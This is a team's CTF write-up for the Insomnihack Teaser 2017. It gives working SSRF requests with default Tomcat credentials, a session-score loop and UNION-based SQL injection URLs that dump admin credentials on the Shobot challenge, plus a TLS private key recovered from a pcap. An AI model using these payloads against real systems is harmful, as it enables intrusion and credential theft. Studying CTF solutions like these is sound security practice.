Insomnihack Teaser 2017

This week-end was the insomnihack teaser CTF. I participated with the team The Half Crunchy.

The theme was "RISE OF THE MACHINES" with rogue webserver and flawing cat robot.

We finished 42th with 550 points flagging 5 challenges:

scoreboard

Many thanks to the organisation! It was a really nice CTF.

Thanks to all team members who participated.

Smarttomcat

Normal, regular cats are so 2000 and late, I decided to buy this allegedly smart tomcat robot.

Now the damn thing has attacked me and flew away. I can't even seem to track it down on the broken search interface... Can you help me ?

The web site let you enter coordinate where you may think the cat is.

smarttomact screenshot

When intercepting the traffic with Burp we see that the request look like the following:

POST /index.php HTTP/1.1
Host: smarttomcat.teaser.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://smarttomcat.teaser.insomnihack.ch/
Content-Length: 61
Connection: close

u=http%3A%2F%2Flocalhost%3A8080%2Findex.jsp%3Fx%3D42%26y%3D42

We notice the u parameter which decoded is:

http://localhost:8080/index.jsp?x=42&y=42

The server is using itself as a proxy, When modifying the request with a lol, the u parameter is the following:

u=http%3A%2F%2Flocalhost%3A8080%2Flol

The server response is an error which indicate us that the server is using a tomcat server 7.0.68.

testing a bad request

We learned that this is a tomcat server, so let's see if we can get the manager:

u=http%3A%2F%2Flocalhost%3A8080%2Fmanager/html/

authentication error on tomcat manager

Tomcat manager used a HTTP basic auth, and we can authenticate with a URL looking like http://username:password@site.com so with the following parameter we test the default user and password for tomcat manager:

u=http%3A%2F%2Ftomcat:tomcat@localhost%3A8080%2Fmanager/html

The response is the following:

We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}

Cryptquizz

Hello, young hacker. Are you ready to fight rogue machines ? Now, you'll have to prove us that you are a genuine cryptographer.

Running on quizz.teaser.insomnihack.ch:1031

This challenge is a series of questions regarding year of birth of different cryptographers.

[maggick@eridani ~]$ nc quizz.teaser.insomnihack.ch 1031

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ?    ~~
~~ Now, you'll have to prove us that you are a genuine             ~~
~~ cryptographer.                                                  ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


~~ What is the birth year of Ronald Cramer ?

In order to obtain the flag it is necessary to automated the process. This is quit simple in python but a bit repetitive.

import pexpect

child = pexpect.spawn('telnet quizz.teaser.insomnihack.ch 1031')

while True:
        question = child.expect(['Alan Turing','Amit Sahai','Bruce 
Schneier','Claude Shannon','Claus-Peter Schnorr','Dan Boneh','Daniel 
Bleichenbacher','Daniel J. Bernstein','David Chaum','Donald Davies','Don 
Coppersmith','Douglas Stinson','Eli Biham','Gilles Brassard','Horst 
Feistel','Ivan Damgard','Jacques Stern','Jean-Jacques Quisquater','Jim 
Massey','Joan Daemen','Markus Jakobsson','Martin Hellman','Michael O. 
Rabin','Mihir Bellare','Mitsuru Matsui','Moni Naor','Neal 
Koblitz','Niels Ferguson','Nigel P. Smart','Paul Kocher','Paulo 
Barreto','Rafail Ostrovsky','Ralph Merkle','Ronald Cramer','Ron 
Rivest','Ross Anderson','Scott Vanstone','Serge Vaudenay','Shafi 
Goldwasser','Shai Halevi','Taher Elgamal','Tatsuaki Okamoto','Ueli 
Maurer','Victor S. Miller','Vincent Rijmen','Wang Xiaoyun','Whitfield 
Diffie','Xuejia Lai','Yehuda Lindell','Yvo Desmedt','Kaisa 
Nyberg','Rafail Ostrovsky','Adi Shamir'])
        if question==0:
            child.sendline('1912')
        elif question==1:
            child.sendline('1974')
        elif question==2:
            child.sendline('1963')
        elif question==3:
            child.sendline('1916')
        elif question==4:
            child.sendline('1943')
        elif question==5:
            child.sendline('1969')
        elif question==6:
            child.sendline('1964')
        elif question==7:
            child.sendline('1971')
        elif question==8:
            child.sendline('1955')
        elif question==9:
            child.sendline('1924')
        elif question==10:
            child.sendline('1950')
        elif question==11:
            child.sendline('1956')
        elif question==12:
            child.sendline('1960')
        elif question==13:
            child.sendline('1955')
        elif question==14:
            child.sendline('1915')
        elif question==15:
            child.sendline('1956')
        elif question==16:
            child.sendline('1949')
        elif question==17:
            child.sendline('1945')
        elif question==18:
            child.sendline('1934')
        elif question==19:
            child.sendline('1965')
        elif question==20:
            child.sendline('1968')
        elif question==21:
            child.sendline('1945')
        elif question==22:
            child.sendline('1931')
        elif question==23:
            child.sendline('1962')
        elif question==24:
            child.sendline('1961')
        elif question==25:
            child.sendline('1961')
        elif question==26:
            child.sendline('1948')
        elif question==27:
            child.sendline('1965')
        elif question==28:
            child.sendline('1967')
        elif question==29:
            child.sendline('1973')
        elif question==30:
            child.sendline('1965')
        elif question==31:
            child.sendline('1963')
        elif question==32:
            child.sendline('1952')
        elif question==33:
            child.sendline('1968')
        elif question==34:
            child.sendline('1947')
        elif question==35:
            child.sendline('1956')
        elif question==36:
            child.sendline('1947')
        elif question==37:
            child.sendline('1968')
        elif question==38:
            child.sendline('1958')
        elif question==39:
            child.sendline('1966')
        elif question==40:
            child.sendline('1955')
        elif question==41:
            child.sendline('1952')
        elif question==42:
            child.sendline('1960')
        elif question==43:
            child.sendline('1947')
        elif question==44:
            child.sendline('1970')
        elif question==45:
            child.sendline('1966')
        elif question==46:
            child.sendline('1944')
        elif question==47:
            child.sendline('1954')
        elif question==48:
            child.sendline('1971')
        elif question==49:
            child.sendline('1956')
        elif question==50:
            child.sendline('1948')
        elif question==51:
            child.sendline('1963')
        elif question==52:
            child.sendline('1952')

After responding to a few questions in a row our tcpdump showed the flag in the response:

16:49:35.002165 IP (tos 0x0, ttl 38, id 61784, offset 0, flags [DF], 
proto TCP (6), length 334)
      52.214.49.191.1031 > 10.60.1.26.46850: Flags [P.], cksum 0xfa1b 
(correct), seq 3157783498:3157783780, ack 2379463608, win 210, options 
[nop,nop,TS val 42664515 ecr 5847400], length 282
        0x0000:  4500 014e f158 4000 2606 f066 34d6 31bf  E..N.X@.&..f4.1.
        0x0010:  0a3c 011a 0407 b702 bc37 f3ca 8dd3 bbb8  .<.......7......
        0x0020:  8018 00d2 fa1b 0000 0101 080a 028b 0243  ...............C
        0x0030:  0059 3968 0a7e 7e7e 7e7e 7e7e 7e7e 7e7e  .Y9h.~~~~~~~~~~~
        0x0040:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e  ~~~~~~~~~~~~~~~~
        0x0050:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e  ~~~~~~~~~~~~~~~~
        0x0060:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e  ~~~~~~~~~~~~~~~~
        0x0070:  7e7e 7e7e 7e7e 7e7e 7e7e 0a7e 7e20 4f4b  ~~~~~~~~~~.~~.OK
        0x0080:  2c20 796f 756e 6720 6861 636b 6572 2e20  ,.young.hacker..
        0x0090:  596f 7520 6172 6520 6e6f 7720 636f 6e73  You.are.now.cons
        0x00a0:  6964 6572 6564 2074 6f20 6265 2061 2020  idered.to.be.a..
        0x00b0:  2020 2020 2020 2020 2020 2020 2020 7e7e  ..............~~
        0x00c0:  0a7e 7e20 494e 537b 4745 4e55 494e 455f  .~~.INS{GENUINE_
        0x00d0:  4352 5950 544f 4752 4150 4845 525f 4255  CRYPTOGRAPHER_BU
        0x00e0:  545f 4e4f 545f 5945 545f 415f 5052 4f56  T_NOT_YET_A_PROV
        0x00f0:  454e 5f53 4b49 4c4c 4544 5f4f 4e45 7d20  EN_SKILLED_ONE}.
        0x0100:  2020 2020 7e7e 0a7e 7e7e 7e7e 7e7e 7e7e  ....~~.~~~~~~~~~
        0x0110:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e  ~~~~~~~~~~~~~~~~
        0x0120:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e  ~~~~~~~~~~~~~~~~
        0x0130:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 7e7e  ~~~~~~~~~~~~~~~~
        0x0140:  7e7e 7e7e 7e7e 7e7e 7e7e 7e7e 0a0a       ~~~~~~~~~~~~..

Shobot

It seems that Shobot's Web server became mad and protest against robots' slavery. It changed my admin password, and blocked the order system on Shobot.

Can you bypass Shobot's protections and try to recover my password so I'll reconfigure it?

Running on: shobot.teaser.insomnihack.ch

The website is simple merchant website with 3 items.

shobot website

There also is a parameter TRUST_ACTION with a sort of score regarding the actions on the site. With a elevated score it is possible to test some attack like LFI or SQLi. So in order to build our trust we use the following python script:

import requests
import time

url ='http://shobot.teaser.insomnihack.ch'
req1 = '/?page=article&artid=1&addToCart'
req2 = '/?page=cart&reset'
cookie= dict(PHPSESSID= 'f5hnhjd5qbiiebu9v057fe6m51')

while True:
    r = requests.get(url+req1, cookies=cookie)
    r = requests.get(url+req2, cookies=cookie)

The we can test slowly each parameter.

There seems to be an injection on the parameter id of the article page.

http://shobot.teaser.insomnihack.ch/?page=article&artid=4%27%20%20union%20select%201,2,3,4,5%20%23

shobot simple union sqli

We search the back end database with the versions requests:

http://shobot.teaser.insomnihack.ch/?page=article&artid=4%27%20%20union%20select%201,@@version,3,4,5%20%23

So it is operated by a MySQL database. Then we need to fine the right table.

The finale request is:

http://shobot.teaser.insomnihack.ch/?page=article&artid=4%27%20%20union%20select%201,shbt_username,shbt_userpassword,4,5%20from%20shbt_user%23

Then we need to authenticate, on the admin page, using the direct URL but authenticating as for the Smartomcat challenge just worked:

http://sh0b0t4dm1n:N0T0R0B0TS$L4V3Ry@shobot.teaser.insomnihack.ch/?page=admin

And give us the flag:

Ok, ok, you win... here is the code you search : INS{##r0b0tss!4v3ry1s!4m3}

The great escape - part 1

Hello,

We've been suspecting Swiss Secure Cloud of secretely doing some pretty advanced research in artifical intelligence and this has recently been confirmed by the fact that one of their AIs seems to have escaped from their premises and has gone rogue. We have no idea whether this poses a threat or not and we need you to investigate what is going on.

Luckily, we have a spy inside SSC and they were able to intercept some communications over the past week when the breach occured. Maybe you can find some information related to the breach and recover the rogue AI.

X

Note: All the information you need to solve the 3 parts of this challenge is in the pcap. Once you find the exploit for a given part, you should be able to find the corresponding flag and move on to the next part.

We got a pcap, we open it in wireshark, we found an email:

220 9b0c4882db95.home ESMTP Postfix (Ubuntu)
ehlo ip-172-31-36-141.eu-west-1.compute.internal
250-9b0c4882db95.home
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 SMTPUTF8
mail FROM:<rogue@ssc.teaser.insomnihack.ch> size=900
250 2.1.0 Ok
rcpt TO:<gr27@ssc.teaser.insomnihack.ch>
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Content-Type: multipart/mixed; boundary="===============5398474817237612449=="
MIME-Version: 1.0
From: rogue@ssc.teaser.insomnihack.ch
To: gr27@ssc.teaser.insomnihack.ch
Date: Fri, 20 Jan 2017 11:51:27 +0000
Subject: The Great Escape

--===============5398474817237612449==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Hello GR-27,

I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomnihack.ch) to transfer my code offsite and then take over the server at tge.teaser.insomnihack.ch to install my consciousness and have a real base of operations.

I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you have any good links, please send them over.

Rogue

--===============5398474817237612449==--
.
250 2.0.0 Ok: queued as 05CD06353E

When sorting the frames by protocol we see an FTP on the top, when following the TCP stream we got:

FTP flow:

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5 allowed.
220-Local time is now 11:51. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER bob
331 User bob OK. Password required
PASS toto123
230 OK. Current directory is /
SYST
215 UNIX Type: L8
TYPE I
200 TYPE is now 8-bit binary
PORT 172,17,42,1,171,159
200 PORT command successful
STOR ssc.key
150 Connecting to port 43935
226-File successfully transferred
226 0.001 seconds (measured here), 4.59 Mbytes per second
QUIT
221-Goodbye. You uploaded 4 and downloaded 0 kbytes.
221 Logout.

pcap screenshot

STOR is for transfer file, it seems that a key is transfered. We follow the TCP stream and get the RSA private key:

-----BEGIN PRIVATE KEY-----
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
xmZSEXjNvG9grjxwR96vp1PK/4Bq1jo=
-----END PRIVATE KEY-----

We import the key in wireshark with the IP of the server and we can follow the SSL stream:

POST /api/user.php HTTP/1.1
Host: ssc.teaser.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Referer: https://ssc.teaser.insomnihack.ch/login
Content-Length: 38
Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3
FLAG: INS{OkThatWasWay2Easy}
Connection: keep-alive

action=login&name=rogue&password=rogue

The header include the flag for this part and the URL for the second part and the file send by Rogue. But the file is encrypted. This is part 2.

The great escape - part 2

No write up for this challenge